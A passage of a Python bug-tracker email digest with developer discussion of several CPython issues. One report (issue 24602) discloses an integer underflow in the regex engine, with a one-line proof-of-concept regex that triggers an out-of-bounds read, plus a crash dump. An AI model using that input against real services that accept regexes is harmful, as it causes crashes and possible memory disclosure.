18:30:56 +0000 Subject: [issue24597] forbid redefinition of specializations in singledispatch In-Reply-To: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za> Message-ID: <1436466656.92.0.576441954682.issue24597@psf.upfronthosting.co.za> Ethan Furman added the comment: Ah, I see. So you say up-front if you are willing to have redefinition occur later. That doesn't feel like a consenting-adults attitude, and could also make testing harder. I prefer adding an option to the register method, and move towards making the default be "don't allow". If we don't want to go that route, would having singledispatch issue a warning on redefinition be sufficient? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 20:35:44 2015 From: report at bugs.python.org (R. David Murray) Date: Thu, 09 Jul 2015 18:35:44 +0000 Subject: [issue24599] urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// In-Reply-To: <1436465655.95.0.514799824016.issue24599@psf.upfronthosting.co.za> Message-ID: <1436466944.93.0.25147137007.issue24599@psf.upfronthosting.co.za> R. David Murray added the comment: It is not clear from your description if you actually tested it with python3. In python2, I believe urllib does not support this (see issue 1424152) while urllib2 does. Assuming you have, I wonder if the not implemented error is your squid saying it doesn't support CONNECT (which would be a bit surprising, granted). Have you looked at the error text or the squid logs? ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 20:51:28 2015 From: report at bugs.python.org (Sven R. Kunze) Date: Thu, 09 Jul 2015 18:51:28 +0000 Subject: [issue24571] [RFE] Add asyncio.background_call API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436467888.29.0.602717509336.issue24571@psf.upfronthosting.co.za> Sven R. Kunze added the comment: > ... this sounds like it is encouraging staying ignorant. True. However, I being ignorant about the complexity eventually led to the development of high-level languages like Python. Each time, a next generation simply asks the question: 'does it really need to be that complicated?' And each time, there is a solution. We will get there. I have to admit, I do not stay ignorant because of convenience APIs but because I feel things made overly complicated. I am not sure if we talk about asyncio anymore. I would say everything in Python regarding concurrency/parallelism needs to be put into perspective: Modules I know MIGHT be interesting for me: - concurrent - threading - asyncio - multiprocessing But I have no idea why/when to use which one. AND more importantly, statements like "This class is almost compatible with concurrent.futures.Future." (https://docs.python.org/3/library/asyncio-task.html#asyncio.Future) do not help. If it they are that compatible, why do we need both and when do I need which one? Or is this just another internal detail of implementation I can really be ignorant of? >From what I can tell right now (I read deeper into the topic, but always correct me if I am wrong), my perspective of the modules are now: API of your application ^ ^ 1) either asynchronous/event loop/asyncio 2) or synchronous/single event = start of program ^ ^ the logic of the application ^ ^ usage of other components ^ ^ 1) either 1 thread/imperative/line by line 2) or multithread/concurrent/parallel 3) or multiprocess/concurrent/parallel My understanding is that asyncio is a way to implement the API of your application whereas concurrent/threading/multiprocessing provide means for more efficient execution of the underlying logic. However, that cannot be entirely true, as I have already seen modules using asyncio to communication asynchronously with databases (to be honest that is what its name suggests async IO). So, what? Seems like we can use asyncio also for communication with other components as well which my intuition held true as well. That is why I have trouble to understand why it is considered wrong to do the same with 'normal' functions (to me they are just other components). AND it can also be the other way round: using concurrent/threading/multiprocessing for implementing the API of your application. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 21:12:21 2015 From: report at bugs.python.org (Stefano Mazzucco) Date: Thu, 09 Jul 2015 19:12:21 +0000 Subject: [issue24599] urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// In-Reply-To: <1436465655.95.0.514799824016.issue24599@psf.upfronthosting.co.za> Message-ID: <1436469141.29.0.955822279538.issue24599@psf.upfronthosting.co.za> Stefano Mazzucco added the comment: I have run the minimal example provided on both Python2 and Python3 with the same results. Sorry if that was not clear. I did look at issue 1424152 but it seemed to me that I was experiencing a different problem. When I try and open the page, I get a squid error page with a somewhat vague error saying that "the method is not supported" (even though it's a simple GET and I can get the same page with other tools like wget or a web browser). Unfortunately, I don't have access to the proxied environment right now, and I will need to ask for the squid logs anyway since I can't access them. I have to say that I have experienced this problem while using buildout as zc.buildout.download uses urllib.urlretrieve. Surprisingly, it succeeds on Python3, but it fails with Python2 which is our supported version (so there's currently no way that I can use Python3 at work). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 21:43:52 2015 From: report at bugs.python.org (Mark Shannon) Date: Thu, 09 Jul 2015 19:43:52 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1436471032.83.0.423977628899.issue23601@psf.upfronthosting.co.za> Mark Shannon added the comment: I still think that this is a good idea, but I would like to see a small speed test for large objects. Just to be sure that it is no slower. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 21:59:37 2015 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 09 Jul 2015 19:59:37 +0000 Subject: [issue24571] [RFE] Add asyncio.background_call API In-Reply-To: <1436146594.33.0.331638937124.issue24571@psf.upfronthosting.co.za> Message-ID: <1436471977.73.0.679785805767.issue24571@psf.upfronthosting.co.za> Guido van Rossum added the comment: Please move the philosophical discussion to python-ideas. Regarding the phrasing about the two Future classes being almost compatible, that is unfortunate wording. Two things can have a similar API (merely having the same methods etc.) without being compatible (not having the same behavior or semantics). ---------- resolution: -> wont fix status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 22:01:02 2015 From: report at bugs.python.org (Julian Taylor) Date: Thu, 09 Jul 2015 20:01:02 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1436472062.1.0.00333348249646.issue23601@psf.upfronthosting.co.za> Julian Taylor added the comment: Large objects are just if size > 512: return malloc(size) there is no reason it should be slower. Also for large objects allocation speed does not matter as much. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 22:05:47 2015 From: report at bugs.python.org (Julian Taylor) Date: Thu, 09 Jul 2015 20:05:47 +0000 Subject: [issue21148] avoid needless pointers initialization in small tuple creation In-Reply-To: <1396550372.7.0.587989241442.issue21148@psf.upfronthosting.co.za> Message-ID: <1436472346.99.0.243848265682.issue21148@psf.upfronthosting.co.za> Julian Taylor added the comment: right at best its probably too insignificant to really be worthwhile, closing. ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 22:10:08 2015 From: report at bugs.python.org (Julian Taylor) Date: Thu, 09 Jul 2015 20:10:08 +0000 Subject: [issue23530] os and multiprocessing.cpu_count do not respect cpuset/affinity In-Reply-To: <1424961054.13.0.0830068196807.issue23530@psf.upfronthosting.co.za> Message-ID: <1436472608.71.0.752363998276.issue23530@psf.upfronthosting.co.za> Julian Taylor added the comment: any comments on the doc changes? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 22:30:21 2015 From: report at bugs.python.org (=?utf-8?q?Gr=C3=A9gory_Starck?=) Date: Thu, 09 Jul 2015 20:30:21 +0000 Subject: [issue24600] function(**dict) does not accept comma after dict (inside parenthese) Message-ID: <1436473821.03.0.320210782017.issue24600@psf.upfronthosting.co.za> New submission from Gr?gory Starck: Consider following: Python 3.4.0 (default, Jun 19 2015, 14:20:21) [GCC 4.8.2] on linux >>> def f(**kw): pass >>> f(a=1 , ) >>> # ok >>> f(**{'a': 1} ) >>> # ok >>> # but : >>> f(**{'a': 1} , ) SyntaxError: invalid syntax >>> shouldn't the last form be also allowed as is the first one ?? if it is: Could I personnaly handle this fix ? I'd be very proud to bring (even such a low impact problem) my own stone to Python :) Kind regards. ---------- messages: 246525 nosy: g.starck at gmail.com priority: normal severity: normal status: open title: function(**dict) does not accept comma after dict (inside parenthese) versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 22:46:15 2015 From: report at bugs.python.org (Mark Shannon) Date: Thu, 09 Jul 2015 20:46:15 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1436474775.12.0.967612391533.issue23601@psf.upfronthosting.co.za> Mark Shannon added the comment: Indeed there is no *obvious* reason why they should be slower. But when it comes to optimisation, *never* trust your (or anyone else's) intuition. Running a simple check is always worth the effort. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 23:01:09 2015 From: report at bugs.python.org (R. David Murray) Date: Thu, 09 Jul 2015 21:01:09 +0000 Subject: [issue24600] function(**dict) does not accept comma after dict (inside parenthese) In-Reply-To: <1436473821.03.0.320210782017.issue24600@psf.upfronthosting.co.za> Message-ID: <1436475669.7.0.292950053932.issue24600@psf.upfronthosting.co.za> R. David Murray added the comment: This is a duplicate of issue 9232, which has a patch. The question is getting agreement to apply it...it sounds like your service in this regard could be bringing it up on python-ideas; please read that issue through and see if you agree. ---------- nosy: +r.david.murray resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Allow trailing comma in any function argument list. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 23:53:50 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 09 Jul 2015 21:53:50 +0000 Subject: [issue24597] forbid redefinition of specializations in singledispatch In-Reply-To: <1436466656.92.0.576441954682.issue24597@psf.upfronthosting.co.za> Message-ID: <559EED6A.3090109@free.fr> Antoine Pitrou added the comment: Le 09/07/2015 20:30, Ethan Furman a ?crit : > > That doesn't feel like a consenting-adults attitude, and could also make testing harder. Testing of what? The point is that it's the authority providing the generic function which decides how lenient extending the generic function is. That sounds rather reasonable to me... > I prefer adding an option to the register method, and move towards > making the default be "don't allow". But that default won't happen, for the compatibility reasons already explained. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 00:27:05 2015 From: report at bugs.python.org (Eric Snow) Date: Thu, 09 Jul 2015 22:27:05 +0000 Subject: [issue24597] forbid redefinition of specializations in singledispatch In-Reply-To: <1436449272.49.0.843794258637.issue24597@psf.upfronthosting.co.za> Message-ID: <1436480825.28.0.953566890198.issue24597@psf.upfronthosting.co.za> Eric Snow added the comment: I agree with Antoine. ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 01:09:18 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 09 Jul 2015 23:09:18 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436483358.61.0.159619309477.issue24567@psf.upfronthosting.co.za> Antoine Pitrou added the comment: > I suppose the simplest "fix" would be to replace relevant instances of > > int(random() * N) > > with > > min(int(random() * N), N-1) That sounds simple and generic. It skews the distribution a tiny little bit, but it doesn't sound significant (perhaps Mark would disagree). ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 01:42:22 2015 From: report at bugs.python.org (Tim Peters) Date: Thu, 09 Jul 2015 23:42:22 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436485342.81.0.84337103251.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: > It skews the distribution a tiny little bit, ... But it doesn't - that's the point ;-) If double-rounding doesn't occur at all (which appears to be the case on most platforms), absolutely nothing changes (because min(int(random() * N), N-1) == int(random() * N) on such boxes). If double-rounding does occur, double-rounding itself may change results "all over the place", and I haven't tried to analyze what effects that has on the distribution. In the comparative handful of cases where int(random() * N) == N on such boxes, clamping that back to N-1 just yields the same result we would have gotten on a box that didn't do double-rounding. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 01:44:35 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 09 Jul 2015 23:44:35 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436485475.1.0.697467226568.issue24567@psf.upfronthosting.co.za> STINNER Victor added the comment: Again, why not using only integers? Pseudo-code to only use integers: def randint(a, b): num = b - a if not num: return a nbits = (num + 1).bit_length() while True: x = random.getrandbits(nbits) if x <= num: break return a + x (It doesn't handle negative numbers nor empty ranges.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 01:55:46 2015 From: report at bugs.python.org (Martin Panter) Date: Thu, 09 Jul 2015 23:55:46 +0000 Subject: [issue1424152] urllib/urllib2: HTTPS over (Squid) Proxy fails Message-ID: <1436486146.51.0.120843763041.issue1424152@psf.upfronthosting.co.za> Martin Panter added the comment: In the meantime, Issue 24599 has been opened about URLopener(), which I understand is related to the Python 2 ?urllib? half of this bug. Since this issue has been closed, perhaps it is best to continue discussion of issue1424152-py27-urllib.diff there instead. ---------- dependencies: +urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// nosy: +vadmium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 01:59:04 2015 From: report at bugs.python.org (Tim Peters) Date: Thu, 09 Jul 2015 23:59:04 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436486344.7.0.777712061085.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: Victor, if people want to use getrandbits(), we should backport the Python3 code, not reinvent it from scratch. Note too Mark's comment: "There are several places in the source where something of the form `int(i * random.random())` is used". The `min()` trick is relatively easy to apply via simple, local editing of such places. Your "It doesn't handle negative numbers nor empty ranges" should be a hint about what a pain it is to rewrite everything wholesale to use a _fundamentally_ different method. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 02:00:37 2015 From: report at bugs.python.org (Martin Panter) Date: Fri, 10 Jul 2015 00:00:37 +0000 Subject: [issue24599] urllib URLopener().open https url returns 501 Not Implemented when https_proxy env var is http:// In-Reply-To: <1436465655.95.0.514799824016.issue24599@psf.upfronthosting.co.za> Message-ID: <1436486437.95.0.698160530918.issue24599@psf.upfronthosting.co.za> Martin Panter added the comment: David: the original patch made in Issue 1424152 fixed Python 2?s urllib.request.urlopen() and Python 2?s urllib2.urlopen(). But Stefano is using URLopener, which I understand comes from Python 2?s older ?urllib? module. When I run the demonstration, the request to the proxy looks like this: GET https://www.python.org HTTP/1.1 Host: www.python.org Accept-Encoding: identity Connection: close User-Agent: Python-urllib/3.4 I think Stefano requires a ?CONNECT www.python.org:443? request instead. There is apparently a patch which sounds like it does this. See issue1424152-py27-urllib.diff and the messages beginning with . I suggest any further work (e.g. tests and documentation) continue here, since the other issue has been closed and mainly discusses ?urllib2?. ---------- nosy: +vadmium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 02:13:31 2015 From: report at bugs.python.org (STINNER Victor) Date: Fri, 10 Jul 2015 00:13:31 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436487211.31.0.566214415024.issue24567@psf.upfronthosting.co.za> STINNER Victor added the comment: > Victor, if people want to use getrandbits(), we should backport the Python3 code, not reinvent it from scratch. Sorry, I don't understand your comment. Backport what? getrandbits() is available on Python 2 and Python 3, for Random and SystemRandom. I propose to rewrite Random.randint() in random.py. > Your "It doesn't handle negative numbers nor empty ranges" should be a hint about what a pain it is to rewrite everything wholesale to use a _fundamentally_ different method. In fact, I didn't check if the my code works for negative numbers. A few more lines should be enough to handle them. I just wanted to show a short pseudo-code to discuss the idea. I don't understand your point on the pain. It's easy to replace int(i * random.random()) with randint(0, i) (sorry, I'm too lazy to check if it should be i, i-1 or i+1 :-)). The Glib library used floats in their g_rand_int_range() method, but the function now uses only integers. The GSL library also uses integers. I'm surprised that Python uses floats to generate random numbers. For me, they are less reliable than integers, I always fear a bias caused by complex rounding and corner cases. Do other libraries and/or programming languages use float to generate a random integer? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 02:25:05 2015 From: report at bugs.python.org (Tim Peters) Date: Fri, 10 Jul 2015 00:25:05 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436487905.74.0.440459605192.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: Victor, don't ask me, look at the code: the random.choice() implementations in Python 2 and Python 3 have approximately nothing in common, and "the bug" here should already be impossible in Python 3 (but I can't check that, because I don't have a platform that does double-rounding). I already pointed out (in my 2015-07-05 15:42 note) that Python 3 uses "only integers" in most cases. "It's easy to replace int(i * random.random()) with randint(0, i)". You didn't say that was your _intent_, and I didn't guess it. In that case you also have to weigh in the considerable extra expense of adding another Python-level function call. The speed of these things is important, and it's annoying enough just to add the expense of calling the C-level `min()`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 04:18:33 2015 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 10 Jul 2015 02:18:33 +0000 Subject: [issue24601] bytes and unicode splitlines() methods differ on what is a line break Message-ID: <1436494713.33.0.435726120833.issue24601@psf.upfronthosting.co.za> New submission from Gregory P. Smith: for bytes, \v (0x0b) is not considered a line break. for unicode, it is. this traces back to the Objects/stringlib/ code where unicode defers to the decision made by Objects/unicodeobject.c's ascii_linebreak table which contains 7 line breaks in the 0..127 character range: static unsigned char ascii_linebreak[] = { 0, 0, 0, 0, 0, 0, 0, 0, /* 0x000A, * LINE FEED */ /* 0x000B, * LINE TABULATION */ /* 0x000C, * FORM FEED */ /* 0x000D, * CARRIAGE RETURN */ 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 0x001C, * FILE SEPARATOR */ /* 0x001D, * GROUP SEPARATOR */ /* 0x001E, * RECORD SEPARATOR */ 0, 0, 0, 0, 1, 1, 1, 0, Whereas Objects/stringlib/stringdefs.h used by only considers \r and \n. I think these should be consistent. But making this change likely breaks existing code in weird ways. This does come up when porting from 2 to 3 as a str '' type with one of those other characters in it was not broken by splitlines in 2.x but is broken by splitlines in 3.x. ---------- messages: 246538 nosy: gregory.p.smith priority: normal severity: normal status: open title: bytes and unicode splitlines() methods differ on what is a line break _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 05:02:41 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Fri, 10 Jul 2015 03:02:41 +0000 Subject: [issue24601] bytes and unicode splitlines() methods differ on what is a line break In-Reply-To: <1436494713.33.0.435726120833.issue24601@psf.upfronthosting.co.za> Message-ID: <20150710030224.GL10773@ando.pearwood.info> Steven D'Aprano added the comment: On Fri, Jul 10, 2015 at 02:18:33AM +0000, Gregory P. Smith wrote: > for bytes, \v (0x0b) is not considered a line break. for unicode, it is. [...] > I think these should be consistent. I'm not sure that they should. Unicode includes other line breaks which bytes should not consider line breaks, such as NEL (Next Line), U+0085. Why should bytes be consistent with only the subset of line breaks that are in ASCII? ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 05:12:53 2015 From: report at bugs.python.org (JohnLeitch) Date: Fri, 10 Jul 2015 03:12:53 +0000 Subject: [issue24602] SRE_SEARCH Integer Underflow Message-ID: <1436497973.12.0.81933563226.issue24602@psf.upfronthosting.co.za> New submission from JohnLeitch: The Python 2.7 regular expression module suffers from an integer underflow in the SRE_SEARCH function of _sre.c, which leads to a buffer over-read condition. The issue is caused by unchecked subtraction performed while handling SR_OP_INFO blocks: if (pattern[0] == SRE_OP_INFO) { /* optimization info block */ /* <1=skip> <2=flags> <3=min> <4=max> <5=prefix info> */ flags = pattern[2]; if (pattern[3] > 1) { /* adjust end point (but make sure we leave at least one character in there, so literal search will work) */ end -= pattern[3]-1; <<<< Pattern[3] is a potentially untrusted value controllable via regex. if (end <= ptr) <<<< A check is performed end is less than or equal to ptr (which is still start at this point), but no check is performed to determine if end has been underflowed to a value greater than ptr. end = ptr+1; } [...] } A script that demonstrates control of Pattern[3] is as follows: import re re.search(r"\b((A){304665458})",u"A") When the script is executed, the min quantifier value ends up in pattern[3] of an SRE_OP_INFO block. The value underflows end, resulting in a large number that satisfies the existing validation. In cases where the regular expression is exposed as attack surface, it may be possible to exploit this vulnerability to scan and read arbitrary memory. This could then potentially be used to disclose secrets and/or bypass mitigations such as ASLR/DEP. An exception produced by this condition is as follows: 0:000> !analyze -v -nodb ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: python27!sre_uat+b7 [c:\build27\cpython\modules\_sre.c @ 369] 1e010dd7 0fb746fe movzx eax,word ptr [esi-2] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 1e010dd7 (python27!sre_uat+0x000000b7) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 01e0f000 Attempt to read from address 01e0f000 CONTEXT: 00000000 -- (.cxr 0x0;r) eax=01d38518 ebx=0027f8b0 ecx=0027f8b0 edx=01d23eb4 esi=01e0f002 edi=01d3851a eip=1e010dd7 esp=0027f82c ebp=01f2b010 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212 python27!sre_uat+0xb7: 1e010dd7 0fb746fe movzx eax,word ptr [esi-2] ds:002b:01e0f000=???? FAULTING_THREAD: 00000518 DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: python.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 01e0f000 READ_ADDRESS: 01e0f000 FOLLOWUP_IP: python27!sre_uat+b7 [c:\build27\cpython\modules\_sre.c @ 369] 1e010dd7 0fb746fe movzx eax,word ptr [esi-2] NTGLOBALFLAG: 70 APPLICATION_VERIFIER_FLAGS: 0 APP: python.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ LAST_CONTROL_TRANSFER: from 1e0115e8 to 1e010dd7 STACK_TEXT: 0027f834 1e0115e8 01d23eb4 0027f8b0 01e0f004 python27!sre_uat+0xb7 0027f85c 1e012882 01d23e78 01ddb9f0 00000000 python27!sre_umatch+0x178 0027f888 1e014995 01d23eb4 1e0148b0 01f3ea08 python27!sre_usearch+0x212 0027fc08 1e0aafeb 01d23e78 01ddb9f0 00000000 python27!pattern_search+0xe5 0027fc24 1e0edd10 01f3ea08 01ddb9f0 00000000 python27!PyCFunction_Call+0x5b 0027fc50 1e0f017a 0027fca8 01d9df98 00000001 python27!call_function+0x2b0 0027fcc0 1e0f1150 01f49198 00000000 01dce030 python27!PyEval_EvalFrameEx+0x239a 0027fcf4 1e0ec862 01d9df98 01f49198 00000000 python27!PyEval_EvalCodeEx+0x690 0027fd30 1e0edd87 0027fdb4 00000002 00000000 python27!fast_function+0xe2 0027fd5c 1e0f017a 0027fdb4 01d46b18 01d46b18 python27!call_function+0x327 0027fdcc 1e0f1150 01d74030 00000000 01d46b18 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f11b2 01d46b18 01d74030 01d4aa50 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e11707a 01d46b18 01d4aa50 01d4aa50 python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 01e0a3b0 01d4aa50 01d4aa50 python27!run_mod+0x2a 0027fe64 1e118760 68e87408 01f02e63 00000101 python27!PyRun_FileExFlags+0x75 0027fea4 1e1190d9 68e87408 01f02e63 00000001 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038d35 68e87408 01f02e63 00000001 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d 00000002 01f02e40 01f01928 python27!Py_Main+0x965 0027ff80 75847c04 7ffde000 75847be0 ba7d18ea python!__tmainCRTStartup+0x10f 0027ff94 77c9b90f 7ffde000 b83a1635 00000000 KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 77c9b8da ffffffff 77c80707 00000000 ntdll!__RtlUserThreadStart+0x2f 0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: .cxr 0x0 ; kb FAULTING_SOURCE_LINE: c:\build27\cpython\modules\_sre.c FAULTING_SOURCE_FILE: c:\build27\cpython\modules\_sre.c FAULTING_SOURCE_LINE_NUMBER: 369 FAULTING_SOURCE_CODE: 365: case SRE_AT_BOUNDARY: 366: if (state->beginning == state->end) 367: return 0; 368: thatp = ((void*) ptr > state->beginning) ? > 369: SRE_IS_WORD((int) ptr[-1]) : 0; 370: thisp = ((void*) ptr < state->end) ? 371: SRE_IS_WORD((int) ptr[0]) : 0; 372: return thisp != thatp; 373: 374: case SRE_AT_NON_BOUNDARY: SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: python27!sre_uat+b7 FOLLOWUP_NAME: MachineOwner MODULE_NAME: python27 IMAGE_NAME: python27.dll DEBUG_FLR_IMAGE_TIMESTAMP: 5488ac17 FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_python27.dll!sre_uat BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_python27!sre_uat+b7 ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:invalid_pointer_read_c0000005_python27.dll!sre_uat FAILURE_ID_HASH: {a7161322-9fae-40b8-8c7f-dd4ebe6d6b79} Followup: MachineOwner --------- To fix this issue, SRE_SEARCH should check end following the subtraction operation to ensure that the value has not underflowed. A proposed patch is attached. ---------- components: Regular Expressions files: _sre.c.patch keywords: patch messages: 246540 nosy: JohnLeitch, ezio.melotti, mrabarnett priority: normal severity: normal status: open title: SRE_SEARCH Integer Underflow type: security versions: Python 2.7 Added file: http://bugs.python.org/file39887/_sre.c.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 05:18:13 2015 From: report at bugs.python.org (JohnLeitch) Date: Fri, 10 Jul 2015 03:18:13 +0000 Subject: [issue24602] SRE_SEARCH Integer Underflow In-Reply-To: <1436497973.12.0.81933563226.issue24602@psf.upfronthosting.co.za> Message-ID: <1436498293.35.0.597116302536.issue24602@psf.upfronthosting.co.za> JohnLeitch added the comment: Attaching proposed patch for unit tests to cover this issue. ---------- Added file: http://bugs.python.org/file39888/test_re.py.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 05:18:58 2015 From: report at bugs.python.org (JohnLeitch) Date: Fri, 10 Jul 2015 03:18:58 +0000 Subject: [issue24602] SRE_SEARCH Integer Underflow In-Reply-To: <1436497973.12.0.81933563226.issue24602@psf.upfronthosting.co.za> Message-ID: <1436498338.53.0.247054722627.issue24602@psf.upfronthosting.co.za> JohnLeitch added the comment: Attaching repro. ---------- Added file: http://bugs.python.org/file39889/SRE_SEARCH_Integer_Underflow.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 05:20:44 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 10 Jul 2015 03:20:44 +0000 Subject: [issue24602] SRE_SEARCH Integer Underflow In-Reply-To: <1436497973.12.0.81933563226.issue24602@psf.upfronthosting.co.za> Message-ID: <1436498444.39.0.0577784258567.issue24602@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka nosy: +pitrou, serhiy.storchaka stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 05:24:44 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 10 Jul 2015 03:24:44 +0000 Subject: [issue24583] set.update(): Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436498684.37.0.589331650325.issue24583@psf.upfronthosting.co.za> Changes by Raymond Hettinger : Added file: http://bugs.python.org/file39890/intermediary.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 05:56:27 2015 From: report at bugs.python.org (Joshua Harlow) Date: Fri, 10 Jul 2015 03:56:27 +0000 Subject: [issue24598] asyncio: add background task detecting reference cycles In-Reply-To: <1436450645.37.0.566562867718.issue24598@psf.upfronthosting.co.za> Message-ID: <1436500587.33.0.314859695322.issue24598@psf.upfronthosting.co.za> Joshua Harlow added the comment: Out of curiosity what reference cycles can't be broken in various python versions? Is it documented/explained anywhere? ---------- nosy: +Joshua.Harlow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 10 06:34:50 2015 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 10 Jul 2015 04:34:50 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1436502890.04.0.568606733677.issue23601@psf.upfronthosting.co.za> Stefan Behnel added the comment: It's generally worth running the benchmark suite for this kind of optimisation. Being mostly Python code, it should benefit quite clearly from dictionary improvements, but it should also give an idea of how much of an improvement actual Python code (and not just micro-benchmarks) can show. And it can help detecting unexpected regressions that would not necessarily be revealed by micro-benchmarks. https://hg.python.org/benchmarks/ And I'm with Mark: when it comes to performance optimisations, repeating even a firm intuition doesn't save us from validating that this intuition actually matches reality. Anything that seems obvious at first sight may still be proven wrong by benchmarks, and has often enough been so in the past. ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at 